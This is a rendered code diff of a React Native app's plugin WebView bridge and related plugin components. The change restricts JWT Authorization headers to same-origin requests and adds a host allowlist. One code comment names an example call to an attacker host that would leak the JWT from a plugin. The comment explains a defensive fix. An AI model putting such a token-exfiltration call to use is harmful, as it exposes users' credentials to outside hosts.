_dbg('TIMEOUT mcp-fetch ' + requestId);
|
|
460
|
+
reject(new Error('MCP fetch timeout (30s)'));
|
|
461
|
+
}
|
|
462
|
+
}, 30000);
|
|
463
|
+
});
|
|
538
464
|
}
|
|
465
|
+
|
|
466
|
+
// Inject Authorization header ONLY for same-origin requests. A relative
|
|
467
|
+
// path resolves against window.location.origin; an absolute URL must
|
|
468
|
+
// literally match. This stops a plugin from leaking the JWT to a foreign
|
|
469
|
+
// host via fetch('https://attacker.com/x') or via <base href>.
|
|
470
|
+
var sameOrigin = false;
|
|
539
471
|
try {
|
|
540
|
-
|
|
541
|
-
|
|
542
|
-
} catch {
|
|
543
|
-
|
|
472
|
+
var resolved = new URL(urlStr, window.location.origin);
|
|
473
|
+
sameOrigin = (resolved.origin === window.location.origin);
|
|
474
|
+
} catch (_) { sameOrigin = false; }
|
|
475
|
+
if (sameOrigin) {
|
|
476
|
+
opts = Object.assign({}, opts || {});
|
|
477
|
+
var h = opts.headers;
|
|
478
|
+
if (h instanceof Headers) {
|
|
479
|
+
if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
|
|
480
|
+
} else {
|
|
481
|
+
h = Object.assign({}, h || {});
|
|
482
|
+
if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
|
|
483
|
+
opts.headers = h;
|
|
484
|
+
}
|
|
544
485
|
}
|
|
545
|
-
|
|
546
|
-
|
|
547
|
-
|
|
548
|
-
|
|
549
|
-
|
|
550
|
-
|
|
551
|
-
|
|
552
|
-
|
|
553
|
-
|
|
554
|
-
|
|
555
|
-
|
|
556
|
-
|
|
557
|
-
|
|
558
|
-
|
|
559
|
-
|
|
560
|
-
|
|
561
|
-
|
|
562
|
-
|
|
563
|
-
|
|
564
|
-
|
|
565
|
-
|
|
566
|
-
|
|
567
|
-
|
|
568
|
-
|
|
569
|
-
|
|
570
|
-
|
|
571
|
-
|
|
572
|
-
|
|
486
|
+
|
|
487
|
+
return _origFetch(url, opts).then(function(res) {
|
|
488
|
+
_dbg(' <- ' + res.status + ' ' + urlStr.substring(0, 60));
|
|
489
|
+
return res;
|
|
490
|
+
}).catch(function(err) {
|
|
491
|
+
_dbg(' <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
|
|
492
|
+
throw err;
|
|
493
|
+
});
|
|
494
|
+
};
|
|
495
|
+
|
|
496
|
+
// Handle results from RN host
|
|
497
|
+
function _handleHostMessage(d) {
|
|
498
|
+
if (!d || d.source !== 'adas-host') return;
|
|
499
|
+
var msg = d.message || {};
|
|
500
|
+
|
|
501
|
+
// mcp-fetch-result: response to intercepted fetch("/mcp")
|
|
502
|
+
if (msg.type === 'mcp-fetch-result' && msg.payload) {
|
|
503
|
+
var p = msg.payload;
|
|
504
|
+
var pending = _pendingMcp[p.requestId];
|
|
505
|
+
if (pending) {
|
|
506
|
+
delete _pendingMcp[p.requestId];
|
|
507
|
+
if (p.error) {
|
|
508
|
+
pending.reject(new Error(p.error));
|
|
509
|
+
} else {
|
|
510
|
+
pending.resolve(new Response(JSON.stringify(p.result), {
|
|
511
|
+
status: 200,
|
|
512
|
+
headers: { 'Content-Type': 'application/json' }
|
|
513
|
+
}));
|
|
514
|
+
}
|
|
515
|
+
}
|
|
573
516
|
}
|
|
574
|
-
|
|
517
|
+
}
|
|
518
|
+
|
|
519
|
+
// 3. Override window.parent.postMessage (plugins use this in iframes)
|
|
520
|
+
window.parent = window.parent || {};
|
|
521
|
+
window.parent.postMessage = function(data, origin) {
|
|
522
|
+
if (data && data.source === 'adas-plugin') {
|
|
523
|
+
window.ReactNativeWebView.postMessage(JSON.stringify(data));
|
|
524
|
+
}
|
|
525
|
+
};
|
|
526
|
+
|
|
527
|
+
// 4. Also intercept direct window.postMessage
|
|
528
|
+
var origPost = window.postMessage.bind(window);
|
|
529
|
+
window.postMessage = function(data, origin) {
|
|
530
|
+
if (data && data.source === 'adas-plugin') {
|
|
531
|
+
window.ReactNativeWebView.postMessage(JSON.stringify(data));
|
|
532
|
+
}
|
|
533
|
+
origPost(data, origin);
|
|
534
|
+
};
|
|
535
|
+
|
|
536
|
+
// 5. Forward messages from RN host -> plugin
|
|
537
|
+
// iOS: window 'message' event, Android: document 'message' event
|
|
538
|
+
window.addEventListener('message', function(e) {
|
|
539
|
+
try {
|
|
540
|
+
var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
|
|
541
|
+
if (d && d.source === 'adas-host') {
|
|
542
|
+
_handleHostMessage(d);
|
|
543
|
+
if (typeof e.data === 'string') {
|
|
544
|
+
window.dispatchEvent(new MessageEvent('message', { data: d }));
|
|
545
|
+
}
|
|
546
|
+
}
|
|
547
|
+
} catch(_) {}
|
|
548
|
+
});
|
|
549
|
+
|
|
550
|
+
document.addEventListener('message', function(e) {
|
|
551
|
+
try {
|
|
552
|
+
var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
|
|
553
|
+
_handleHostMessage(d);
|
|
554
|
+
window.dispatchEvent(new MessageEvent('message', { data: d }));
|
|
555
|
+
} catch(_) {}
|
|
556
|
+
});
|
|
557
|
+
|
|
558
|
+
_dbg('Bridge JS loaded. Waiting for plugin...');
|
|
559
|
+
true;
|
|
560
|
+
})();
|
|
561
|
+
`;
|
|
575
562
|
}
|
|
576
|
-
|
|
577
|
-
|
|
578
|
-
|
|
579
|
-
|
|
580
|
-
|
|
581
|
-
|
|
582
|
-
|
|
583
|
-
|
|
584
|
-
|
|
585
|
-
|
|
586
|
-
|
|
587
|
-
|
|
588
|
-
|
|
563
|
+
|
|
564
|
+
// src/plugin/EmbeddedPluginWebView.tsx
|
|
565
|
+
import { jsx as jsx2, jsxs as jsxs2 } from "react/jsx-runtime";
|
|
566
|
+
function EmbeddedPluginWebView({ pluginId, manifest, commandBufferRef }) {
|
|
567
|
+
const [error, setError] = useState2(null);
|
|
568
|
+
const token = getToken();
|
|
569
|
+
const tenant = getTenant2();
|
|
570
|
+
const { webViewRef, sendInit, handleMessage } = usePluginBridge(pluginId, manifest._connectorId, commandBufferRef);
|
|
571
|
+
const url = resolvePluginUrl(manifest, tenant || void 0);
|
|
572
|
+
const bridgeJS = buildPluginBridgeJS(token || "", tenant || "");
|
|
573
|
+
const computeAllowedHosts = useCallback2(() => {
|
|
574
|
+
const hosts = /* @__PURE__ */ new Set();
|
|
575
|
+
const urls = [getCoreApiUrl()];
|
|
576
|
+
if (getConfig().voiceUrl) urls.push(getVoiceApiUrl());
|
|
577
|
+
try {
|
|
578
|
+
urls.push(...getPluginWebViewExtraHosts()?.() || []);
|
|
579
|
+
} catch {
|
|
580
|
+
}
|
|
581
|
+
for (const u of urls) {
|
|
582
|
+
try {
|
|
583
|
+
hosts.add(new URL(u).hostname);
|
|
584
|
+
} catch {
|
|
585
|
+
}
|
|
586
|
+
}
|
|
587
|
+
return hosts;
|
|
588
|
+
}, []);
|
|
589
|
+
const isAllowedPluginUrl = useCallback2((rawUrl) => {
|
|
590
|
+
if (!rawUrl) return false;
|
|
591
|
+
let parsed;
|
|
592
|
+
try {
|
|
593
|
+
parsed = new URL(rawUrl);
|
|
594
|
+
} catch {
|
|
595
|
+
return false;
|
|
596
|
+
}
|
|
597
|
+
if (parsed.protocol !== "https:" && parsed.protocol !== "http:") return false;
|
|
598
|
+
if (parsed.protocol === "http:") return false;
|
|
599
|
+
return computeAllowedHosts().has(parsed.hostname);
|
|
600
|
+
}, [computeAllowedHosts]);
|
|
601
|
+
const originWhitelist = useMemo(
|
|
602
|
+
() => Array.from(computeAllowedHosts()).map((h) => `https://${h}`),
|
|
603
|
+
[computeAllowedHosts]
|
|
604
|
+
);
|
|
605
|
+
if (error) {
|
|
606
|
+
return /* @__PURE__ */ jsx2(View2, { style: styles2.center, children: /* @__PURE__ */ jsx2(Text2, { style: styles2.errorText, children: error }) });
|
|
607
|
+
}
|
|
608
|
+
return /* @__PURE__ */ jsx2(View2, { style: styles2.container, children: /* @__PURE__ */ jsx2(
|
|
609
|
+
WebView,
|
|
610
|
+
{
|
|
611
|
+
ref: webViewRef,
|
|
612
|
+
source: { uri: url },
|
|
613
|
+
style: styles2.webview,
|
|
614
|
+
javaScriptEnabled: true,
|
|
615
|
+
domStorageEnabled: true,
|
|
616
|
+
allowsInlineMediaPlayback: true,
|
|
617
|
+
mediaPlaybackRequiresUserAction: false,
|
|
618
|
+
mixedContentMode: "never",
|
|
619
|
+
originWhitelist,
|
|
620
|
+
allowsBackForwardNavigationGestures: false,
|
|
621
|
+
setSupportMultipleWindows: false,
|
|
622
|
+
javaScriptCanOpenWindowsAutomatically: false,
|
|
623
|
+
onShouldStartLoadWithRequest: (req) => {
|
|
624
|
+
if (!isAllowedPluginUrl(req.url)) {
|
|
625
|
+
console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);
|
|
626
|
+
return false;
|
|
627
|
+
}
|
|
628
|
+
return true;
|
|
629
|
+
},
|
|
630
|
+
injectedJavaScriptBeforeContentLoaded: bridgeJS,
|
|
631
|
+
onMessage: handleMessage,
|
|
632
|
+
onLoad: () => {
|
|
633
|
+
setTimeout(sendInit, 100);
|
|
634
|
+
setTimeout(sendInit, 500);
|
|
635
|
+
setTimeout(sendInit, 1200);
|
|
636
|
+
},
|
|
637
|
+
onError: (syntheticEvent) => {
|
|
638
|
+
const { nativeEvent } = syntheticEvent;
|
|
639
|
+
console.warn("[EmbeddedPluginWebView] Error:", nativeEvent.description);
|
|
640
|
+
setError(`WebView error: ${nativeEvent.description}`);
|
|
641
|
+
},
|
|
642
|
+
onHttpError: (syntheticEvent) => {
|
|
643
|
+
const { nativeEvent } = syntheticEvent;
|
|
644
|
+
console.warn("[EmbeddedPluginWebView] HTTP error:", nativeEvent.statusCode, nativeEvent.url);
|
|
645
|
+
if (nativeEvent.statusCode >= 400) {
|
|
646
|
+
setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);
|
|
647
|
+
}
|
|
648
|
+
},
|
|
649
|
+
startInLoadingState: true,
|
|
650
|
+
renderLoading: () => /* @__PURE__ */ jsxs2(View2, { style: styles2.webviewLoading, children: [
|
|
651
|
+
/* @__PURE__ */ jsx2(ActivityIndicator, { size: "small", color: ada2.orange }),
|
|
652
|
+
/* @__PURE__ */ jsx2(Text2, { style: styles2.loadingText, children: "Loading plugin..." })
|
|
653
|
+
] }),
|
|
654
|
+
...Platform.OS === "ios" ? { bounces: false } : {}
|
|
655
|
+
}
|
|
656
|
+
) });
|
|
589
657
|
}
|
|
590
|
-
var
|
|
591
|
-
|
|
592
|
-
|
|
593
|
-
|
|
594
|
-
marginBottom: 12,
|
|
595
|
-
paddingHorizontal: 12,
|
|
596
|
-
gap: 8
|
|
597
|
-
},
|
|
598
|
-
rowUser: {
|
|
599
|
-
justifyContent: "flex-end"
|
|
658
|
+
var styles2 = StyleSheet2.create({
|
|
659
|
+
container: {
|
|
660
|
+
flex: 1,
|
|
661
|
+
backgroundColor: ada2.paper
|
|
600
662
|
},
|
|
601
|
-
|
|
602
|
-
|
|
603
|
-
height: 28,
|
|
663
|
+
center: {
|
|
664
|
+
flex: 1,
|
|
604
665
|
justifyContent: "center",
|
|
605
|
-
alignItems: "center"
|
|
606
|
-
},
|
|
607
|
-
avatarSpacer: {
|
|
608
|
-
width: 28,
|
|
609
|
-
height: 28
|
|
610
|
-
},
|
|
611
|
-
bubble: {
|
|
612
|
-
maxWidth: "78%",
|
|
613
|
-
backgroundColor: ada4.botBubble,
|
|
614
|
-
borderWidth: 1,
|
|
615
|
-
borderColor: ada4.botBubbleBorder,
|
|
616
|
-
borderRadius: borderRadius3.xl,
|
|
617
|
-
paddingHorizontal: 16,
|
|
618
|
-
paddingVertical: 12
|
|
619
|
-
},
|
|
620
|
-
bubbleUser: {
|
|
621
|
-
backgroundColor: ada4.userBubble,
|
|
622
|
-
borderColor: "transparent"
|
|
623
|
-
},
|
|
624
|
-
bubbleSystem: {
|
|
625
|
-
backgroundColor: ada4.orangeSoft,
|
|
626
|
-
borderColor: ada4.orange,
|
|
627
|
-
maxWidth: "90%"
|
|
628
|
-
},
|
|
629
|
-
bubbleNotification: {
|
|
630
|
-
backgroundColor: ada4.orangeSoft,
|
|
631
|
-
borderColor: "rgba(255, 122, 40, 0.35)",
|
|
632
|
-
borderRadius: borderRadius3.lg,
|
|
633
|
-
maxWidth: "90%"
|
|
634
|
-
},
|
|
635
|
-
notificationLeftStripe: {
|
|
636
|
-
width: 3,
|
|
637
|
-
alignSelf: "stretch",
|
|
638
|
-
backgroundColor: ada4.orange,
|
|
639
|
-
borderRadius: 2,
|
|
640
|
-
marginRight: 4
|
|
641
|
-
},
|
|
642
|
-
notificationHeader: {
|
|
643
|
-
flexDirection: "row",
|
|
644
666
|
alignItems: "center",
|
|
645
|
-
|
|
646
|
-
|
|
667
|
+
backgroundColor: ada2.paper,
|
|
668
|
+
paddingHorizontal: 32
|
|
647
669
|
},
|
|
648
|
-
|
|
649
|
-
|
|
670
|
+
errorText: {
|
|
671
|
+
color: "#C15545",
|
|
672
|
+
fontSize: 16,
|
|
673
|
+
textAlign: "center"
|
|
650
674
|
},
|
|
651
|
-
|
|
652
|
-
|
|
653
|
-
|
|
654
|
-
fontWeight: "700",
|
|
655
|
-
letterSpacing: 0.6,
|
|
656
|
-
textTransform: "uppercase",
|
|
657
|
-
fontFamily: fontFam3
|
|
675
|
+
webview: {
|
|
676
|
+
flex: 1,
|
|
677
|
+
backgroundColor: ada2.paper
|
|
658
678
|
},
|
|
659
|
-
|
|
660
|
-
|
|
661
|
-
|
|
662
|
-
|
|
663
|
-
|
|
679
|
+
webviewLoading: {
|
|
680
|
+
position: "absolute",
|
|
681
|
+
top: 0,
|
|
682
|
+
left: 0,
|
|
683
|
+
right: 0,
|
|
684
|
+
bottom: 0,
|
|
685
|
+
justifyContent: "center",
|
|
686
|
+
alignItems: "center",
|
|
687
|
+
backgroundColor: ada2.paper,
|
|
688
|
+
gap: 12
|
|
664
689
|
},
|
|
665
|
-
|
|
666
|
-
|
|
667
|
-
|
|
668
|
-
alignSelf: "flex-end",
|
|
669
|
-
marginTop: 4,
|
|
670
|
-
fontFamily: fontFam3
|
|
671
|
-
},
|
|
672
|
-
timeTextUser: {
|
|
673
|
-
color: "rgba(250,246,238,0.55)"
|
|
674
|
-
},
|
|
675
|
-
attachments: {
|
|
676
|
-
flexDirection: "row",
|
|
677
|
-
flexWrap: "wrap",
|
|
678
|
-
gap: 6,
|
|
679
|
-
marginBottom: 8
|
|
680
|
-
},
|
|
681
|
-
attachmentImage: {
|
|
682
|
-
width: 120,
|
|
683
|
-
height: 90,
|
|
684
|
-
borderRadius: 8
|
|
685
|
-
},
|
|
686
|
-
attachmentFile: {
|
|
687
|
-
backgroundColor: "rgba(255,255,255,0.15)",
|
|
688
|
-
borderRadius: 8,
|
|
689
|
-
paddingHorizontal: 10,
|
|
690
|
-
paddingVertical: 6
|
|
691
|
-
},
|
|
692
|
-
attachmentFileName: {
|
|
693
|
-
color: "rgba(255,255,255,0.8)",
|
|
694
|
-
fontSize: 11,
|
|
695
|
-
maxWidth: 100
|
|
696
|
-
},
|
|
697
|
-
copiedBadge: {
|
|
698
|
-
position: "absolute",
|
|
699
|
-
top: 6,
|
|
700
|
-
right: 6,
|
|
701
|
-
backgroundColor: "#5A8A5C",
|
|
702
|
-
paddingHorizontal: 8,
|
|
703
|
-
paddingVertical: 2,
|
|
704
|
-
borderRadius: borderRadius3.sm
|
|
705
|
-
},
|
|
706
|
-
copiedText: {
|
|
707
|
-
color: "#fff",
|
|
708
|
-
fontSize: fontSize4.xs,
|
|
709
|
-
fontWeight: "600"
|
|
710
|
-
},
|
|
711
|
-
toolCalls: {
|
|
712
|
-
marginTop: 8,
|
|
713
|
-
borderTopWidth: 1,
|
|
714
|
-
borderTopColor: ada4.border,
|
|
715
|
-
paddingTop: 6
|
|
716
|
-
},
|
|
717
|
-
toolToggle: {
|
|
718
|
-
flexDirection: "row",
|
|
719
|
-
alignItems: "center",
|
|
720
|
-
gap: 6
|
|
721
|
-
},
|
|
722
|
-
toolLabel: {
|
|
723
|
-
color: ada4.inkSoft,
|
|
724
|
-
fontSize: fontSize4.xs,
|
|
725
|
-
fontWeight: "500"
|
|
726
|
-
},
|
|
727
|
-
toolChevron: {
|
|
728
|
-
color: ada4.inkMuted,
|
|
729
|
-
fontSize: 8
|
|
730
|
-
},
|
|
731
|
-
toolItem: {
|
|
732
|
-
marginTop: 4,
|
|
733
|
-
paddingLeft: 8
|
|
734
|
-
},
|
|
735
|
-
toolName: {
|
|
736
|
-
color: ada4.inkSoft,
|
|
737
|
-
fontSize: fontSize4.xs,
|
|
738
|
-
fontFamily: "monospace"
|
|
739
|
-
},
|
|
740
|
-
toolSkill: {
|
|
741
|
-
color: ada4.orangeDeep,
|
|
742
|
-
fontSize: fontSize4.xs
|
|
690
|
+
loadingText: {
|
|
691
|
+
color: ada2.inkSoft,
|
|
692
|
+
fontSize: 14
|
|
743
693
|
}
|
|
744
694
|
});
|
|
745
|
-
|
|
746
|
-
|
|
747
|
-
|
|
748
|
-
|
|
749
|
-
|
|
750
|
-
|
|
751
|
-
|
|
752
|
-
|
|
753
|
-
|
|
754
|
-
|
|
755
|
-
}
|
|
756
|
-
|
|
757
|
-
|
|
758
|
-
|
|
759
|
-
|
|
760
|
-
|
|
761
|
-
|
|
695
|
+
|
|
696
|
+
// src/plugin/Plugin.tsx
|
|
697
|
+
import { jsx as jsx3, jsxs as jsxs3 } from "react/jsx-runtime";
|
|
698
|
+
var PluginErrorBoundary = class extends React.Component {
|
|
699
|
+
constructor() {
|
|
700
|
+
super(...arguments);
|
|
701
|
+
this.state = { hasError: false, error: null };
|
|
702
|
+
}
|
|
703
|
+
static getDerivedStateFromError(error) {
|
|
704
|
+
return { hasError: true, error };
|
|
705
|
+
}
|
|
706
|
+
componentDidCatch(error, info) {
|
|
707
|
+
console.error(`[Plugin:${this.props.pluginId}] Crash:`, error, info.componentStack);
|
|
708
|
+
}
|
|
709
|
+
render() {
|
|
710
|
+
if (this.state.hasError) {
|
|
711
|
+
return /* @__PURE__ */ jsxs3(View3, { style: styles3.error, children: [
|
|
712
|
+
/* @__PURE__ */ jsx3(Text3, { style: styles3.errorTitle, children: "Plugin Error" }),
|
|
713
|
+
/* @__PURE__ */ jsx3(Text3, { style: styles3.errorMessage, children: this.state.error?.message || "An unexpected error occurred" }),
|
|
714
|
+
/* @__PURE__ */ jsx3(
|
|
715
|
+
Pressable,
|
|
716
|
+
{
|
|
717
|
+
style: styles3.retryBtn,
|
|
718
|
+
onPress: () => this.setState({ hasError: false, error: null }),
|
|
719
|
+
children: /* @__PURE__ */ jsx3(Text3, { style: styles3.retryText, children: "Retry" })
|
|
720
|
+
}
|
|
721
|
+
)
|
|
722
|
+
] });
|
|
723
|
+
}
|
|
724
|
+
return this.props.children;
|
|
725
|
+
}
|
|
726
|
+
};
|
|
727
|
+
function Plugin({ id, manifest, commandBufferRef, props: engineProps }) {
|
|
728
|
+
const { plugin, loading, error, bundleMissing } = usePlugin(id, manifest);
|
|
729
|
+
const connectorId = id.startsWith("mcp:") ? id.split(":")[1] : manifest._connectorId;
|
|
730
|
+
const bridge = useNativeBridge(id, connectorId, commandBufferRef);
|
|
731
|
+
const declaredCaps = manifest?.native;
|
|
732
|
+
const native = useMemo2(() => gatePluginNative(getPluginNative(), declaredCaps), [declaredCaps]);
|
|
733
|
+
const theme = usePluginTheme();
|
|
734
|
+
const user = getUser();
|
|
735
|
+
const context = useMemo2(() => ({
|
|
736
|
+
tenant: getTenant3(),
|
|
737
|
+
pluginId: id,
|
|
738
|
+
connectorId,
|
|
739
|
+
user: user ? { id: user.actorId || "", name: user.name || "", roles: user.roles || [] } : void 0
|
|
740
|
+
}), [id, connectorId, user?.actorId, user?.name, user?.roles]);
|
|
741
|
+
const iframeUrl = manifest?.render?.iframeUrl;
|
|
742
|
+
if (bundleMissing && iframeUrl) {
|
|
743
|
+
return /* @__PURE__ */ jsx3(EmbeddedPluginWebView, { pluginId: id, manifest, commandBufferRef });
|
|
744
|
+
}
|
|
745
|
+
if (loading) {
|
|
746
|
+
return /* @__PURE__ */ jsxs3(View3, { style: styles3.center, children: [
|
|
747
|
+
/* @__PURE__ */ jsx3(ActivityIndicator2, { size: "small", color: colors.dark.accent }),
|
|
748
|
+
/* @__PURE__ */ jsx3(Text3, { style: styles3.loadingText, children: "Loading plugin..." })
|
|
749
|
+
] });
|
|
750
|
+
}
|
|
751
|
+
if (error || !plugin) {
|
|
752
|
+
return /* @__PURE__ */ jsx3(View3, { style: styles3.center, children: /* @__PURE__ */ jsx3(Text3, { style: styles3.errorMessage, children: error || "Plugin not found" }) });
|
|
753
|
+
}
|
|
754
|
+
const { Component } = plugin;
|
|
755
|
+
return /* @__PURE__ */ jsx3(PluginErrorBoundary, { pluginId: id, children: /* @__PURE__ */ jsx3(Component, { bridge, native, theme, context, props: engineProps }) });
|
|
756
|
+
}
|
|
757
|
+
var styles3 = StyleSheet3.create({
|
|
758
|
+
center: {
|
|
759
|
+
flex: 1,
|
|
760
|
+
justifyContent: "center",
|
|
761
|
+
alignItems: "center",
|
|
762
|
+
backgroundColor: colors.dark.bgPrimary,
|
|
763
|
+
paddingHorizontal: 32,
|
|
764
|
+
gap: 12
|
|
762
765
|
},
|
|
763
|
-
|
|
764
|
-
|
|
765
|
-
|
|
766
|
-
paddingHorizontal: 5,
|
|
767
|
-
paddingVertical: 1,
|
|
768
|
-
borderRadius: 4,
|
|
769
|
-
fontFamily: "monospace",
|
|
770
|
-
fontSize: fontSize4.sm
|
|
766
|
+
loadingText: {
|
|
767
|
+
color: colors.dark.textSecondary,
|
|
768
|
+
fontSize: 14
|
|
771
769
|
},
|
|
772
|
-
|
|
773
|
-
|
|
774
|
-
|
|
775
|
-
|
|
770
|
+
error: {
|
|
771
|
+
flex: 1,
|
|
772
|
+
justifyContent: "center",
|
|
773
|
+
alignItems: "center",
|
|
774
|
+
backgroundColor: colors.dark.bgPrimary,
|
|
775
|
+
paddingHorizontal: 32,
|
|
776
|
+
gap: 8
|
|
776
777
|
},
|
|
777
|
-
|
|
778
|
-
|
|
779
|
-
fontSize:
|
|
780
|
-
|
|
778
|
+
errorTitle: {
|
|
779
|
+
color: colors.dark.red,
|
|
780
|
+
fontSize: 16,
|
|
781
|
+
fontWeight: "600"
|
|
781
782
|
},
|
|
782
|
-
|
|
783
|
-
color:
|
|
783
|
+
errorMessage: {
|
|
784
|
+
color: colors.dark.textSecondary,
|
|
785
|
+
fontSize: 14,
|
|
786
|
+
textAlign: "center"
|
|
784
787
|
},
|
|
785
|
-
|
|
786
|
-
|
|
788
|
+
retryBtn: {
|
|
789
|
+
marginTop: 12,
|
|
790
|
+
paddingHorizontal: 20,
|
|
791
|
+
paddingVertical: 10,
|
|
792
|
+
backgroundColor: colors.dark.accentSoft,
|
|
793
|
+
borderRadius: 8
|
|
787
794
|
},
|
|
788
|
-
|
|
789
|
-
|
|
795
|
+
retryText: {
|
|
796
|
+
color: colors.dark.accent,
|
|
797
|
+
fontSize: 14,
|
|
798
|
+
fontWeight: "600"
|
|
790
799
|
}
|
|
791
800
|
});
|
|
792
801
|
|
|
793
|
-
// src/
|
|
794
|
-
import {
|
|
795
|
-
|
|
796
|
-
|
|
797
|
-
|
|
798
|
-
|
|
802
|
+
// src/plugin/PluginSurface.tsx
|
|
803
|
+
import { jsx as jsx4 } from "react/jsx-runtime";
|
|
804
|
+
function PluginSurface({ pluginId, surface, dismiss, props }) {
|
|
805
|
+
const [manifest, setManifest] = useState3(null);
|
|
806
|
+
const [error, setError] = useState3(null);
|
|
807
|
+
useEffect3(() => {
|
|
808
|
+
let cancelled = false;
|
|
809
|
+
getPlugin(pluginId).then((m) => {
|
|
810
|
+
if (!cancelled) m ? setManifest(m) : setError("Plugin not found");
|
|
811
|
+
}).catch((e) => {
|
|
812
|
+
if (!cancelled) setError(e?.message || "Failed to load");
|
|
813
|
+
});
|
|
814
|
+
return () => {
|
|
815
|
+
cancelled = true;
|
|
816
|
+
};
|
|
817
|
+
}, [pluginId]);
|
|
818
|
+
const body = manifest ? /* @__PURE__ */ jsx4(Plugin, { id: pluginId, manifest, props }) : /* @__PURE__ */ jsx4(View4, { style: { flex: 1, justifyContent: "center", alignItems: "center", padding: 24 }, children: error ? null : /* @__PURE__ */ jsx4(ActivityIndicator3, { color: ada3.orange }) });
|
|
819
|
+
if (surface.type === "fullscreen") {
|
|
820
|
+
return /* @__PURE__ */ jsx4(
|
|
821
|
+
SurfaceFullscreen,
|
|
822
|
+
{
|
|
823
|
+
visible: true,
|
|
824
|
+
onClose: dismiss,
|
|
825
|
+
status: surface.title,
|
|
826
|
+
showWordmark: true,
|
|
827
|
+
closeIcon: "x",
|
|
828
|
+
closeLabel: "Close",
|
|
829
|
+
children: body
|
|
830
|
+
}
|
|
831
|
+
);
|
|
832
|
+
}
|
|
833
|
+
return /* @__PURE__ */ jsx4(
|
|
834
|
+
SurfaceDrawer,
|
|
835
|
+
{
|
|
836
|
+
visible: true,
|
|
837
|
+
onClose: dismiss,
|
|
838
|
+
title: surface.title || pluginId,
|
|
839
|
+
subtitle: surface.subtitle,
|
|
840
|
+
privacy: !!surface.privacy,
|
|
841
|
+
children: body
|
|
842
|
+
}
|
|
843
|
+
);
|
|
799
844
|
}
|
|
800
|
-
|
|
801
|
-
|
|
802
|
-
|
|
803
|
-
|
|
804
|
-
|
|
805
|
-
|
|
806
|
-
|
|
845
|
+
|
|
846
|
+
// src/plugin/WidgetHost.tsx
|
|
847
|
+
import { jsx as jsx5 } from "react/jsx-runtime";
|
|
848
|
+
var useWidgetHostStore = create((set) => ({
|
|
849
|
+
pluginId: null,
|
|
850
|
+
props: void 0,
|
|
851
|
+
open: (pluginId, props) => set({ pluginId, props }),
|
|
852
|
+
close: () => set({ pluginId: null, props: void 0 })
|
|
853
|
+
}));
|
|
854
|
+
function openWidget(pluginId, props) {
|
|
855
|
+
const surfaces = useSurfaceStore.getState();
|
|
856
|
+
if (surfaces.manifests[pluginId]) {
|
|
857
|
+
surfaces.show(pluginId, props);
|
|
858
|
+
return;
|
|
807
859
|
}
|
|
808
|
-
|
|
860
|
+
useWidgetHostStore.getState().open(pluginId, props);
|
|
861
|
+
}
|
|
862
|
+
function WidgetHost() {
|
|
863
|
+
const pluginId = useWidgetHostStore((s) => s.pluginId);
|
|
864
|
+
const props = useWidgetHostStore((s) => s.props);
|
|
865
|
+
const close = useWidgetHostStore((s) => s.close);
|
|
866
|
+
useEffect4(() => {
|
|
867
|
+
return pluginCommandEmitter2.on("focus-plugin", (data) => {
|
|
868
|
+
if (data?.pluginId) openWidget(String(data.pluginId), data.props);
|
|
869
|
+
});
|
|
870
|
+
}, []);
|
|
871
|
+
if (!pluginId) return null;
|
|
872
|
+
return /* @__PURE__ */ jsx5(
|
|
873
|
+
PluginSurface,
|
|
874
|
+
{
|
|
875
|
+
pluginId,
|
|
876
|
+
surface: { type: "fullscreen" },
|
|
877
|
+
dismiss: close,
|
|
878
|
+
props
|
|
879
|
+
},
|
|
880
|
+
pluginId
|
|
881
|
+
);
|
|
882
|
+
}
|
|
809
883
|
|
|
810
|
-
// src/chat/
|
|
811
|
-
import {
|
|
812
|
-
|
|
813
|
-
|
|
814
|
-
|
|
815
|
-
|
|
816
|
-
|
|
817
|
-
|
|
818
|
-
|
|
819
|
-
|
|
820
|
-
|
|
821
|
-
|
|
822
|
-
|
|
823
|
-
|
|
824
|
-
const
|
|
825
|
-
|
|
826
|
-
|
|
827
|
-
|
|
828
|
-
|
|
829
|
-
|
|
830
|
-
|
|
831
|
-
|
|
832
|
-
|
|
833
|
-
|
|
834
|
-
const
|
|
835
|
-
if (
|
|
836
|
-
|
|
837
|
-
|
|
838
|
-
|
|
839
|
-
|
|
840
|
-
|
|
841
|
-
|
|
842
|
-
return /* @__PURE__ */ jsx6(View6, { style: styles6.dock, children: /* @__PURE__ */ jsxs5(View6, { style: styles6.inputRow, children: [
|
|
843
|
-
onCallStart && /* @__PURE__ */ jsx6(Pressable3, { style: styles6.callBtn, onPress: onCallStart, children: /* @__PURE__ */ jsx6(Svg, { width: 20, height: 20, viewBox: "0 0 24 24", fill: "none", stroke: colors.light.accent, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: /* @__PURE__ */ jsx6(Path, { d: "M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z" }) }) }),
|
|
844
|
-
/* @__PURE__ */ jsx6(
|
|
845
|
-
TextInput,
|
|
846
|
-
{
|
|
847
|
-
ref: inputRef,
|
|
848
|
-
style: [styles6.input, { height: Math.min(Math.max(40, height), 120) }],
|
|
849
|
-
value: text,
|
|
850
|
-
onChangeText: setText,
|
|
851
|
-
onContentSizeChange: (e) => setHeight(e.nativeEvent.contentSize.height),
|
|
852
|
-
placeholder: placeholder || "Message A-Team...",
|
|
853
|
-
placeholderTextColor: colors.light.textMuted,
|
|
854
|
-
multiline: true,
|
|
855
|
-
returnKeyType: "default",
|
|
856
|
-
blurOnSubmit: false,
|
|
857
|
-
onSubmitEditing: () => {
|
|
858
|
-
if (Platform4.OS === "web") handleSend();
|
|
884
|
+
